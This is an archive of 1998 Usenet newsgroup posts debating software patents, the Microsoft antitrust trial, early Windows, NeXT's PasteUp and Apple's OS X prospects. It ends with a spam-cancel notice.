> Actually, you hit it right on the mark. The actual story of Bill Atkinson
> reverse-engineering what didn't exist is on pages 86-88 of "Insanely Great"
:) Thanks for the backup.
I have to wonder just how many innovations have only seen the light of
day because the inventor thought they were ripping off/re-implementing
something which had already been done. That, or solving a problem which
appeared to be 'trivial' only because nobody thought to tell them it was
'clearly impossible.' ?
My guess is 'lots,' but it's just a guess. it's at least 'several,'
though :)
--
Jonathan Sanderson <http://www.quern.demon.co.uk/jonathan>
'If I had more time, I would have written a shorter letter' (Pascal)
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
References: <728125$h6g$1@spitting-spider.aracnet.com>
Message-ID: <3647a532.0@news.depaul.edu>
Date: 10 Nov 98 02:30:10 GMT
In comp.sys.next.advocacy Clancy Dalebout <fleegix@shell2.aracnet.com> wrote:
> Way back then, the OS was considered to be a commodity. IBM didn't really
> recognise the power MS had with its OS until the OS/2 project, and MS
> was able to leverage its OS for the first time to get people to go
> with Windows.
I'm sure IBM's mainframe division would argue that the OS was not
a commodity at that time, and so would the Justice department. IBM
was unable to wield the OS it had.
If it were simply a build vs. buy question, IBM would likely have
bought an OS or its maker outright. It wasn't, due to the old
consent decree and general DOJ scrutiny, which made such a move
dangerous for IBM.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Newsgroups: comp.sys.next.advocacy,comp.lang.java.advocacy
Subject: Question about this http://msdn.microsoft.com/developer/news/quicktime.htm
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 09 Nov 1998 18:31:51 -0800
Message-ID: <yl3vhkop9bc.fsf@shell8.ba.best.com>
The author of that url seems to take pleasure in pointing at that Apple
and Real Networks made a mistake and Microsoft has written this in such
a tone whereby they are seeking vinidication.
Q. Why didn't Microsoft offer their expertise in this matter when Apple
was initially having these problems?
From: theisen@akaMail.com (Dirk Theisen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: About GNUstep (was Re: About Linux, and OS-X)
Date: Tue, 10 Nov 1998 13:35:01 +0100
Organization: University of Bonn, Germany
Message-ID: <1dia5oi.1x0gi3s1uujcvoN@ascend-tk-p238.rhrz.uni-bonn.de>
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com> <1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net> <F1utE0.7r6@T-FCN.Net> <F1vC53.FHv@basil.icce.dev.rug.null.nl> <F1x2zp.Hup@T-FCN.Net> <1di9200.acou6p2gct0nN@ascend-tk-p87.rhrz.uni-bonn.de>
Dirk Theisen <theisen@akaMail.com> wrote:
> They're also trying to make GNUstep more visible in the future.
E.g. via the UNofficial GNUstep HP at...
http://home.sprintmail.com/~mhanni/gnustep/
Dirk
--
No RISC - No fun
http://theisen.home.pages.de/
From: hollaar@sal.cs.utah.edu (Lee Hollaar)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 9 Nov 1998 23:01:18 GMT
Organization: University of Utah Computer Science
Message-ID: <727s7u$nj@magus.cs.utah.edu>
References: <36426F6E.2AED1A73@cygnus.com> <3645B2FC.14A8E781@ieee.org> <72558i$46l$1@samba.rahul.net>
In article <72558i$46l$1@samba.rahul.net> c.c.eiftj@47.usenet.us.com (Rahul Dhesi) writes:
>Microsoft might even be vulnerable, if somebody patents something that
>Microsoft is already using in its own software as a trade secret.
>
>The following, while illegal, could have interesting consequences:
>
> Programmer reverse-engineers Microsoft software. Finds an unpublished
> idea essential to Microsoft software. Gets patent claiming to be
> inventor.
>
>Such a person would probably get bought out.
What interesting consequences? Patentee writes letter to Microsoft
threatening to sue for infringement. Microsoft sues for declaratory
judgement of patent invalidity. Microsoft wins. Patent gone.
Such a patent would clearly be invalid under 25 USC 102:
A person shall be entitled to a patent unless -- ...
(b) the invention was ... in public use or on sale in this
country, more than one year prior to the date of the
application for patent in the United States ...
(f) he did not himself invent the subject matter sought to
be patented ...
Considering how easy it would be for Microsoft to show that something
was in their software a year before the patent application date, why
would they consider buying out the patentee, when they can crush him
and set an example for others?
Lee Hollaar
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,misc.int-property
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 09 Nov 1998 20:01:30 -0800
Organization: Cygnus Solutions
Message-ID: <3647BA9A.EEF1D269@cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Robert Cringely has writen and interesting analysis of the situation:
http://www.pbs.org/cringely/pulpit/pulpit19981105.html
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 10 Nov 1998 06:46:54 +0000
Organization: Self Analysis
Message-ID: <3647E15E.7A2232BA@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
Mime-Version: 1.0
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Ryurick M. Hristev wrote:
>
> "Karsten M. Self" <kmself@ix.netcom.com> writes:
> > There's even the possibility that Microsoft could encourage others to do
> > its dirty work for it. The Wang v. Netscape "save as" suit this spring
> > (dismissed by the court) certainly has a funny smell to it. Microsoft
> > acquired a 10% stake in Wang following the companies' own patent
> > skirmish. They had announced a strategic partnership earlier this year,
> > prior to the filing of the suit. The fact that Wang pursued its suit
> > against Netscape and Netscape alone (Microsoft's only significant
> > competition in the browser market) don't seem quite cricket.
>
> This is just FUD.
Hardly. Conjecture as to motive and involvement, perhaps, but the story
is as I tell it. Wang sued Microsoft and won. Microsoft aquired a 10%
stake in Wang. The companies announced a strategic partnership. Wang
sued Netscape. Check the facts and draw your own conclusions.
The rest of your post wanders all over the map. Patent has nothing to
do with copyright, and even less to do with munitions export
restrictions, which are used to restrict US export of cryptography
software.
Further, patent infringement applies equally to manufacture, sale, or
use. Your example of moving devlopment offshore would help software
developers, but would do nothing to protect the interests of US-based
vendors or users of potentially infringing software. As is pointed out
elsewhere, this could have a negative affect on adoption.
Patent infringement is not specific to use, even less so to specific
software packages. Again see Jerome Lemelson for markedly broad
interpretations of 20 and 30 year old patents to technologies such as
grocery bar code scanners and video recorders. A recurring area of
concern is the GIMP, the GNU image manipulation program. Because of
patent restrictions it cannot legally produce GIF image files nor CYMK
color correction. Both are essential requirements of commercial graphic
artists. The patents are hardly "software" patents -- they are graphics
methods. A Unix background is no bulletproof shield for Linux.
With the cost of patent litigation -- $100k (US) average for pre-trial
costs, $1m (US) to go to trial, threat of suit could be sufficient to
sway decisions to use OSS (deemed risky) or "patent-safe" proprietary
code.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
10:31pm up 2 days, 14:45, 3 users, load average: 0.23, 0.19, 0.10
Message-ID: <36446139.B0696A55@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net>
Content-Type: text/plain; charset=us-ascii
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Date: Sat, 07 Nov 1998 10:03:21 -0500
NNTP-Posting-Date: Sat, 07 Nov 1998 14:56:57 GMT
Organization: CWIX
Robert Fovell wrote:
>
> http://www.newsbytes.com/pubNews/120947.html
>
> The anticipated "knife the baby" testimony has finally appeared. IMHO, this
> is far more damning stuff than the "MS deliberately gummed up QuickTime"
> testimony that started off his protracted 15 minutes of fame. For one thing,
> it is provable --- but see below.
It's damning, all right. Trevanian came off sounding like the world's
most pathetic whiner. "The baby", indeed. As though Quicktime has ever
represented substantial income to Apple. What? Apple gives Quicktime
away? Fancy that....:) DOJ needs to put an end to that practice
immediately because as we all know consumers never benefit from
companies who provide freeware, do they?....:)
>
> I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
> about a meeting which he did *not* attend was admitted. Isn't that hearsay?
> [1]. Of course, my knowledge of the law owes as much to Perry Mason and
> Grisham novels as it does to academically valid sources, so... say no more ;-)
It's not surprising because Jackson is a not-too-bright Judge who, like
a lot of other people (unfortunately), is intimidated by computer
technology in general and rather than learn something real about it
would rather criticize it. Obviously, in Jackson's eyes, Microsoft
personifies the "computer industry" and Jackson sees this as his
personal chance to at last "get a leg up" on "computer technology." The
man is so biased it is almost funny. Microsoft is just playing out the
rope and letting him make error after error so that all can be reversed
on appeal.
>
> I may have missed it, but I was surprised no one has mentioned the recent
> development at MS-owned WebTV. Seems they're dropping Java support now... but
> hedge this by saying they may support MS' J++ in the future. Something like
> that. It could be interpreted in several different ways...
Let's see...MS pays Sun millions of dollars a year for a Java license
and Sun turns around and threatens to rescind the license and sues MS
for $35 million. And you wonder why MS might not be in love with
Java...:)
How about this...let's "pass a law" which states that every OEM must buy
and use all commercially available software. That way Apple would have
to ship everything MS decides should be a part of the Mac OS, Apple gets
to decide what will be in the Sun OS, and Sun gets to decide what will
be in the MS OS. Then we can play musical chairs and switch around.
Sound good? Sounds to me like that's what you are advocating.
Or is your position that MS alone should not have the right to decide
what it does and does not do with its own products?
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 7 Nov 1998 15:17:15 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <721o9r$gd7$1@supernews.com>
References: <364295A3.ABE8C927@earthlink.net> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com>
In article <720s05$t5@dfw-ixnews3.ix.netcom.com>,
Robert Fovell <rfovell@yahoo.com> wrote:
>I also now do not
>recall knowing anyone who used any version of Windows prior to 3.1, tho I've
>seen screenshots of those earlier versions.
I used it for a little while in school. It was pretty horrific;
no overlapping windows, for example. Instead it "tiled" windows
so it could save a bit of memory by not saving the occluded
portions of windows.
--
Don McGregor | "The best thing about stupid, sadistic policies
mcgredo@mbay.net | is that you don't have to explain them." --Catbert
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 7 Nov 1998 11:57:15 -0800
Organization: Institute of Lawsonomy
Message-ID: <7228mr$bf4$1@52-a-usw.rb1.blv.nwnexus.net>
References: <364295A3.ABE8C927@earthlink.net> <F20BwF.Ix1@T-FCN.Net> <ckoller-ya02408000R0611980931220001@netnews.worldnet.att.net>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
Craig Koller <ckoller@worldnet.att.net> wrote:
>Given the limited number of witnesses allowable in this trial, I wonder if
>that makes it that much more allowable.
No, the hearsay rules don't take into account how many witnesses you are
allowed to call.
>I mean, couldn't Peter Hoddie just come in and confirm what he told Avie?
One of the reasons for a hearsay rules is to make that happen: if you want
to offer what someone said as evidence, they are supposed to come in and say
it, so that the jury (or judge in a case without a jury) can observe the
demeanor of the person making the statement.
--Tim Smith
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 7 Nov 1998 12:01:28 -0800
Organization: Institute of Lawsonomy
Message-ID: <7228uo$bh4$1@52-a-usw.rb1.blv.nwnexus.net>
References: <364295A3.ABE8C927@earthlink.net> <71va9v$b47$1@nnrp1.dejanews.com> <36433398.312A0EDD@yahoo.com> <36433c17.0@news.depaul.edu>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>The reason hearsay is being admitted at all is that the judge limited
>the number of witnesses in order to speed the trial to conclusion.
I don't recall any rule in the FRE that says you can admit otherwise
unadmittable hearsay because you have decided to limit the total number
of witnesses. If it was hearsay, then it got in under one of the
couple of dozen hearsay exceptions, not because the judge decided to
throw out the rules of evidence for a speed trial. :-)
--Tim Smith
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 7 Nov 1998 23:33:28 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <722lc8$bin@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com>
Originator: gupta@tlctest
Robert Fovell <rfovell@yahoo.com> wrote:
>I also now do not
>recall knowing anyone who used any version of Windows prior to 3.1, tho I've
>seen screenshots of those earlier versions.
I found in my office at the phone company a copy of Windows 3.0,
still in its original shrinkwrap. I suppose if the distribution
is on 3.5" disks, and if my Mac can still read them, then since
I have Virtual PC, I could try booting up on it. Or might the
original shrinkwrap box be more interesting as a historical curiousity ?
-arun gupta
Message-ID: <3644E1E5.807416B5@home.com>
From: Ari <arikounavis@home.com>
Organization: I don't even have a watch
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <722lc8$bin@newsb.netnews.att.com>
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Date: Sun, 08 Nov 1998 00:13:59 GMT
NNTP-Posting-Date: Sat, 07 Nov 1998 16:13:59 PDT
I've got Windows 1.0, maybe I can post it somewhere? It's kinda eery
seeing the Micro-Soft logo as it loads up :)
ari
arikounavis@home.com
gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
> Robert Fovell <rfovell@yahoo.com> wrote:
>
> >I also now do not
> >recall knowing anyone who used any version of Windows prior to 3.1, tho I've
> >seen screenshots of those earlier versions.
>
> I found in my office at the phone company a copy of Windows 3.0,
> still in its original shrinkwrap. I suppose if the distribution
> is on 3.5" disks, and if my Mac can still read them, then since
> I have Virtual PC, I could try booting up on it. Or might the
> original shrinkwrap box be more interesting as a historical curiousity ?
>
> -arun gupta
Message-ID: <3647F284.F4280BFA@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy>
<36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
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<727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
<ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com> <hOQ12.93$rY3.507395@news.rdc1.sdca.home.com>
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NNTP-Posting-Date: Tue, 10 Nov 1998 02:56:17 EDT
Date: Tue, 10 Nov 1998 00:00:04 -0800
Rex Riley wrote:
* Touch type never allowed you to play with fonts - making'em
* fatter, wider, taller, canted, etc...
Right. TouchType enabled you to muck with the characters as displayed.
* PasteUp allowed WYSIWYG font design. This is where PasteUpDemo
* ran into Adobe I was told because it took free license to alter
* existing font properties.
This last bit I find hard to believe. Provide some solid evidence.
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 10 Nov 1998 08:14:07 +0000
Organization: Self Analysis
Message-ID: <3647F5CF.CCD3B5FC@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <3645B2FC.14A8E781@ieee.org> <72558i$46l$1@samba.rahul.net> <3646A341.3AEEE7A4@ix.netcom.com> <726m3e$cve$1@samba.rahul.net>
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Rahul Dhesi wrote:
>
> In <3646A341.3AEEE7A4@ix.netcom.com> "Karsten M. Self"
> <kmself@ix.netcom.com> writes:
> > Rahul Dhesi wrote:
> >> Programmer reverse-engineers Microsoft software. Finds an unpublished
> >> idea essential to Microsoft software. Gets patent claiming to be
> >> inventor.
>
> >Now *that* introduces all sorts of interesting possibilities. Suppose a
> >non-US based Linux development team were to aquire undocumented
> >Microsoft APIs which are unpublished and unpatented, from a hypothetical
> >disgruntled former MS employee (options under water?). Foreign patents
> >are filed on the work. Much international litigation follows.
>
> It would have to be an individual. Team members might betray one
> another, leading to possibly criminal charges. If an individual did it
> there would be no way to prove that he got the idea through reverse
> engineering.
However this might be done, its legality would be borderline -- most
likely several borders south of legit. Employ your best Tom Clancy
secret drop tactics to preclude tracing source.
The more compelling point I hoped to make was that Microsoft's reliance
on closed, proprietary, and/or unpublished standards -- "decomoditized
protocols" in MSFT's language -- is at odds with their adopting an
open-source internal development environment. The risk of protocols
walking is simply too great. Microsoft knows full well that any legal
remedy it might seek or achieve would arrive years after the damage had
been done, no mattter how legally correct their position.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
12:01am up 2 days, 16:15, 3 users, load average: 0.13, 0.23, 0.21
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 7 Nov 1998 17:54:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7221h6$rn2@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com> <71oqsc$gkb@news1.panix.com> <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com> <71qtlr$9sl@news1.panix.com> <Fqb02.13649$yb5.12475178@news.rdc1.sdca.home.com>
On Thu, 05 Nov 1998 06:18:13 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
>> > If
>> >OSX isn't an NT killer,
>> It isn't an "NT killer" yet. Just like Linux wasn't an NT killer in '94.
>
>Fine, I'll accept that. Will someone please tell where and how with OSX
>Apple can make an NT killer? I suggested latent technologies we've not yet
>seen. That got shot down. You're proposing a slow build strategy... You're
>not alone. I had this same discussion with John Kheit. It fits everything
>Apple has done.
I think you answered your own question.
The slow build will take years to do.
<speculation>
Apple will attempt to sell OSX as a platform for running WebObjects to the
markets where Apple still has some pull (ie, publishing and education)
If it works, Apple will then sell to those markets a broader OSX solution
while selling WO (and any new Apps that have come along) to those markets on
the periphery of the publishing and education markets.
If OSX starts building up a solid reputation then Apple can try and sell
it as an NT killer.
</speculation>
> I continue to disbelieve Java/distributed apps and Linux
>will foster an environment for that strategy to be effective.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 7 Nov 1998 17:54:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7221h8$rn2@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com> <71oqsc$gkb@news1.panix.com> <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com> <71qtlr$9sl@news1.panix.com> <TEb02.13665$yb5.12475178@news.rdc1.sdca.home.com>
On Thu, 05 Nov 1998 06:33:23 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>What could any company, not just Apple, do to overcome such constraints w/in
>1yr?
Spend a few billion dollars and buy credibility by virtue of size. IBM
has done this a few times. Apple is not in a position to do this.
(Oh, and IBM's shopping sprees have failed as often as they have worked. Look
at how Notes is being killed off by Exchange)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 7 Nov 1998 17:54:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7221h9$rn2@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com> <71oqsc$gkb@news1.panix.com> <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com> <71qtlr$9sl@news1.panix.com> <9Zb02.13666$yb5.12475178@news.rdc1.sdca.home.com>
On Thu, 05 Nov 1998 06:55:01 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>> >> >See... you really think Apple has 3-5 years to ramp-up their OSX
>product
>> >> >plan?
>> >> Do you think that they could ramp up in less than that?
>> >Yeah!
>> How?
>
>The size of the task ahead of Apple outstrips its resources and scale of
>enterprise. First Apple addresses "scale". It gets a big brother. It
>partners with Sony - the Mac is back, BIG. Sony scales Apple's mfg,
>marketing and operations. Apple extends Sony's consumer devices into
>computational software/hardware (ala Playstation?).
>
>Sony is a win-win giving Apple much needed scalability, freeing up
>operations and allowing Apple to focus on servicing their markets. Sony
>wins marketshare in a category they must compete against sooner or later,
>anyway. Just now they do it on their terms.
I very much doubt that a partnership with Sony is going to give any OSX
any credibility as an NT killer. It might help Apple out in the consumer
markets, but OSX is _NOT_ a consumer product right now.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 7 Nov 1998 17:54:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7221hc$rn2@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <00702.13573$yb5.12364299@news.rdc1.sdca.home.com> <71t4lv$d94$1@nnrp1.dejanews.com> <dcr02.13812$yb5.12921880@news.rdc1.sdca.home.com> <71vcuk$din$1@nnrp1.dejanews.com>
On Fri, 06 Nov 1998 17:51:16 GMT, Charles Swiger <chuck@codefab.com> wrote:
>I did not see even _one_ single example to indicate they had made
>implementation decisions restricting them to Microsoft technologies. I want
>to see specific, publicly available references substantiating this claim.
While I can not name names due to NDAs, I can state that at least one of
the 13 banks listed is floating a plan to get rid of all NT servers by
March 2000. Under this plan, file servers will we be converted back to
Netware and Sybase/MS SQL servers will be switched back to Sun hardware.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 7 Nov 1998 18:05:16 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72224s$rvt@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com> <71oqsc$gkb@news1.panix.com> <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com> <71qtlr$9sl@news1.panix.com> <Ucc02.13667$yb5.12475178@news.rdc1.sdca.home.com>
On Thu, 05 Nov 1998 07:11:48 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
>> Grovelling is not going to give Apple any credibility.
>
>Times change... circumstances change, people mature. Are you implying that
>if Apple, Sun, SG and HP put their future technologies into a consortium as
>a response to the MS stranglehold, you'd think such grovelling baseless?
I don't think that forming an industry consortium is the same as "Grovelling"
I stand by my statment that grovelling is not going to give Apple any
credibility.
>> I think Steve will take success any way he can, and take credit any way he
>> can.
>
>Steve taking credit, works to put a face on it and an easy way to
>communicate that success to the outside world. The fact that Steve wears
>the accolades so well is part Pride from having fathered the place.
>
>Can't deny him that...
I don't.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Sat, 07 Nov 1998 20:08:23 -0500
Content-Transfer-Encoding: 7bit
References: <71kj6v$f4j@shelob.afs.com> <71sgds$gdb@netaxs.com><1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca> <721abe$1hm@netaxs.com>
Content-Type: text/plain; charset="US-ASCII"
Organization: BM
Mime-Version: 1.0
Message-ID: <722qu7$prf$1@oak.prod.itd.earthlink.net>
"Steven M. Scharf" <scharf@grin.net> wrote:
>Whines that the CPU of the iMac is higher performance
>than the K6 or M-II in those machines will fall on deaf ears--no one
>cares.
No one cares? OK.
>I thought it was totally crass of Microsoft when they tried to
>co-opt the 'Palm' name and call the PDAs with WinCE, Palm PCs.
No one cares!
Ziya Oz
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Tue, 10 Nov 1998 14:51:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <729jt7$ggf$1@nnrp1.dejanews.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
"Greg Anderson" <greg@afs.com> wrote:
> Christian Neuss wrote in message <727i58$d2b$2@sun27.hrz.tu-darmstadt.de>...
> >"If I poke myself in the head with this pencil, will it hurt?"
> >
>
> For the history impaired, one of PasteUp's first slogans (when it was still
> owned by RightBrain) was "Yes, it will." As in, "Will it have this feature?"
> "Yes, it will." Later, Glenn Reid put together *the* classic NeXT ad when he
> featured a lady in a stock photograph straight out of the 50s holding a
> pencil in such a way that "If I poke myself in the head with this pencil,
> will it hurt?" was the perfect joke caption. Of course, the answer was,
> "Yes, it will." EVERYONE who ever had a NeXTstation remembers that ad.
>
> My company's ownership of PasteUp post-dates these events. But I still get
> email from former customers who own "Yes, it will" T-shirts.
So, can we expect "Yes, it will" T-shirts to be bundled with PasteUp when it
ships for MOSXS?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <729sgv$pfb1964@pegasus.hkstar.com>
Control: cancel <729sgv$pfb1964@pegasus.hkstar.com>
Date: 10 Nov 1998 17:18:35 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.729sgv$pfb1964@pegasus.hkstar.com>
Sender: <wc326642@yes.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
